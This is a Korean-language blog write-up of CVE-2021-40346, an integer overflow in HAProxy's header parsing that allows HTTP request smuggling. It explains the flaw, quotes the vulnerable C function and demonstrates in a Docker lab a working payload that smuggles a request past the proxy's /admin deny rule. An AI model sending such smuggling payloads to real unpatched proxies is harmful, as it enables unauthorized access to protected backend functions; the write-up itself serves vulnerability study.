본문 바로가기

1-day

[1-day] CVE-2021-40346 / HTTP Request Smuggling

 

 

Description


해당 취약점은 오픈소스 로드 밸런스 프록시 서버인 haproxy에서 발견되었습니다. 이 취약점은 Integer Overflow 취약점으로 HTTP Request Smuggling 공격이 가능하며 CVSSv3가 8.6으로 측정되었습니다.

 

HTTP Request Smuggling 공격은 프록시 서버와 백엔드 서버가 패킷을 해석하는 방식이 다른 점을 이용하는 공격입니다. 해당 공격은 Integer Overflow를 통해 트리거됩니다.

 

CVE-2021-40346은 HAProxy 2.025, 2.2.17, .2.3.14, 2.4.4 버전에서 패치되었으며 영향을 받는 버전은 해당 버전들의 이전 버전입니다.

 

 

HTTP Request Smuggling


HTTP Request Smuggling HTTP 1.1 버전에서 발생합니다. 이유는 HTTP 1.1의 특성에 존재합니다.

HTTP 1.1은 하나의 TCP 연결에 여러 HTTP 요청과 응답을 순차적으로 전송할 수 있는 지속연결을 지원합니다. 이는 네트워크 효율성을 높이고 지연 시간을 줄이지만 요청과 응답의 경계를 명확히 하는데 어려움이 있습니다.

 

HTTP 1.1에서는 주로 Content-Length 헤더나 Transfer-Encoding: chunked 헤더를 사용하여 요청이나 본문 길이를 지정합니다. 여기서 프록시 서버와 백엔드 서버가 본문 길이를 정의 하는 방식이 다를 경우 HTTP Request Smuggling이 발생할 수 있습니다.

 

위 그림은 일반적인 상황에서의 요청입니다. 각각의 요청이 Front-end를 지나 Back-end로 올바르게 전달 되고 있습니다.

 

위 그림은 해커가 HTTP Request Smuggling 공격을 하는 그림입니다. 해커가 두개의 요청을 하나의 패킷에 담아 전송합니다. Front-end에서는 올바르게 인식 되지만 Back-end에서는 밀수된 패킷이 다른 요청에 붙어 있는 것을 볼 수 있습니다.

 

Trigger


HAProxy는 사용자의 요청 패킷을 잡아 백엔드로 보내기 전 두 가지의 파싱 과정을 거칩니다.

 

1. HTTP 요청 초기 분석 단계

 

1. Content-Length 헤더가 발견되면 그 길이 값을 따로 저장힙니다. 이 길이는 클라이언트로부터 읽어 백엔드로 보낼 요청 본문의 길이를 결정합니다.

 

2. 추가 Content-Length 헤더가 있는 경우 - 다른 값을 가지면 요청이 삭제되고 그렇지 않으면 무시됩니다.

 

3. 전체 요청은 내부 표현으로 파싱되며, 2단계에서 처리될 htx 블록 구조(헤더별 블록, 요청 본체 등)의 어레이로 저장됩니다.

 

 

2. 요청에 대한 중요 처리 단계

 

1. 백엔드로 전달될 요청을 준비하기 위해 htx 블록 어레이를 통과합니다.

 

2. 첫 번째 Content-Length 헤더 블록을 만나면 코드는 전달 요청의 Content-Length 헤더 문자열에 사용하기 위해 해당 문자열을 가져옵니다. (Content-Length)

 

3. 추가 내용 길이 헤더는 무시됩니다.

 

아래는 위에서 설명한 취약점이 응용되는 예시입니다. 예를들어 다음과 같은 패킷을 보낸다고 가정합니다.

 

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
 
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

 

👆 패킷을 처음 파싱단계에서 두 가지의 Content-Length 헤더를 만납니다. 첫 번째 헤더는 비정상 헤더이므로 무시되며 두 번째 헤더를 통해 백엔드로 보낼 데이터의 길이를 지정합니다. 

 

두 번째 파싱 과정에서 패킷을 HTX 블록 구조로 파싱합니다. 첫 번째 Content-Length를 HTX 구조로 파싱할 때 헤더의 이름을 가져오는 부분에서 이름에 대한 길이를 검증하는 부분이 없습니다.

 

아래는 이에 대한 코드입니다.

 

static inline struct htx_blk *htx_add_header(struct htx *htx, const struct ist name,
					     const struct ist value)
{
	struct htx_blk *blk;
	/* FIXME: check name.len (< 256B) and value.len (< 1MB) */
	blk = htx_add_blk(htx, HTX_BLK_HDR, name.len + value.len);
	if (!blk)
		return NULL;
	blk->info += (value.len << 8) + name.len;
	ist2bin_lc(htx_get_blk_ptr(htx, blk), name);
	memcpy(htx_get_blk_ptr(htx, blk)  + name.len, value.ptr, value.len);
	return blk;
}

 

위 코드를 보면 실제로 주석만 남겨두고 name에 대한 길이 검증이 없습니다. name의 크기는 1바이트이기 때문에 255바이트를 표현가능하며 이보다 큰 값을 넣어줄 경우 integer overflow가 발생합니다. 

 

이제 HTX 블록 구조를 파싱할 때 

총 길이가 270바이트 이므로 14바이트 만큼 흘러넘쳐 헤더 이름의 길이를 14바이트로 인식하게 됩니다. 이 때 270은 2진수로 

1 0000 1110로 표현되므로 앞의 1비트는 헤더 value의 길이값으로 흘러들어가게 됩니다. 또한, 두 번째 헤더는 첫 번째 헤더가 정상적으로 인식되기 때문에 무시됩니다.

 

즉, 2번째 파싱과정에서 패킷은 아래와 같이 인식됩니다.

 

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0
 
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

 

따라서 백엔드로 보내지는 HTTP Body의 길이는 60으로 인식되어 있기 때문에 위 패킷의 데이터가 모두 넘어가게 되지만, 실제 패킷의 Content-Length 부분은 0으로 넘어가집니다.

 

백엔드에서는 Content-Length가 0이므로 밑의 GET 부분을 처리하지 않고 버퍼에 남겨두게 되며, 다음 요청이 있을 경우 함께 처리하게 됩니다.

 

 

Attacking


실습은 깃허브에 올라와있는 도커파일을 이용하였습니다. 

 

빌드 후 로컬에서 접속이 잘 되는지 확인합니다.

 

 

/admin에도 접속해봅니다.

 

 

haproxy이 설정으로 인해 403에러가 반환됩니다. 설정파일을 살펴보겠습니다.

 

global
    daemon
defaults
    mode    http
    timeout  client  50000
    timeout  server  50000
    timeout  connect 50000
frontend web
    bind *:8000
    http-request deny if { path_beg /admin }
    default_backend websrvs
backend websrvs
    http-reuse always
    server srv1 flask:5000

 

설정파일의 모든 부분을 하나씩 살펴보겠습니다.

 

global과 default부분입니다.

 

1. 데몬으로 전역을 실행합니다.

2. client, sever의 timeout을 50초로 제한합니다.

 

frontend web 부분입니다.

 

1. 프론트 엔드에 대한 요청을 모두 8000번으로 바인딩합니다.

2. /admin에 대한 요청을 거부합니다.

3. 기본 백엔드 웹서버를 websrvs로 지정합니다.

 

backend web 부분입니다.

 

1. http 요청을 항상 재사용합니다. 이는 성능이 최적화됩니다.

2. 서버요청을 flask의 5000번 포트로 매핑합니다.

 

사용하는 페이로드는 아래와 같습니다. 

 

POST /guest HTTP/1.1
Host: xx.xxxxx.xx:10001
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 23

GET /admin HTTP/1.1
h:GET /guest HTTP/1.1
Host: xx.xxxxx.xx:10001

 

/guest에 POST요청을 보냅니다. 이 때 Content-Length 부분을 Integer Overflow를 일으켜 HTTP Smuggling을 트리거합니다. 이로 인해 haproxy 서버의 /admin에 대한 설정을 우회한채로 GET /admin 부분이 서버의 버퍼에 남습니다.

바로 뒤의 GET요청으로 인해 /admin 요청이 올바르게 처리됩니다.

 

 

실행결과

위에서 /admin에 접근했을 때 403에러가 반환됐지만 페이로드를 전송하니 Hello Admin이 응답된 것을 볼 수 있습니다.

 

 

위 페이로드에서 h:를 쓰는 이유는 패킷이 끝나지 않았음을 의미합니다. 예를들어 h:을 안쓴 경우는 아래와 같을 것입니다.

 

GET /admin HTTP/1.1

 

즉, 위 데이터가 버퍼에 남아 있게 된채로 다음 요청이 들어온다면 👇 아래 처럼 표현됩니다.

 

GET /admin HTTP/1.1
GET /guest HTTP/1.1
Host: xx.xxxxx.xx:10001

 

즉 잘못된 응답이 올 가능성이 생깁니다. 따라서 h: 를 사용하여 뒤의 GET요청을 DUMMY 값으로 만들 수 있습니다.

 

 

 

Patched


 

패치는 헤더의 이름에 대한 길이 값을 검증하는 식으로 보완되었습니다.

 

 

 

Reference


https://portswigger.net/web-security/request-smuggling

 

What is HTTP request smuggling? Tutorial & Examples | Web Security Academy

In this section, we'll explain HTTP request smuggling attacks and describe how common request smuggling vulnerabilities can arise. Labs If you're already ...

portswigger.net

https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

 

Critical vulnerability in HAProxy | JFrog Security Research Team

JFrog security research team discovers new critical vulnerability (CVE-2021-40346) in HAProxy. The new vulnerability can be exploited for HTTP Request Smuggling attacks.

jfrog.com

https://github.com/donky16/CVE-2021-40346-POC

 

GitHub - donky16/CVE-2021-40346-POC: CVE-2021-40346 integer overflow enables http smuggling

CVE-2021-40346 integer overflow enables http smuggling - donky16/CVE-2021-40346-POC

github.com

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40346

 

CVE - CVE-2021-40346

20210831 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

cve.mitre.org

 

'1-day' 카테고리의 다른 글

[1-day] CVE-2019-11358 / Prototype pollution  (0) 2024.04.13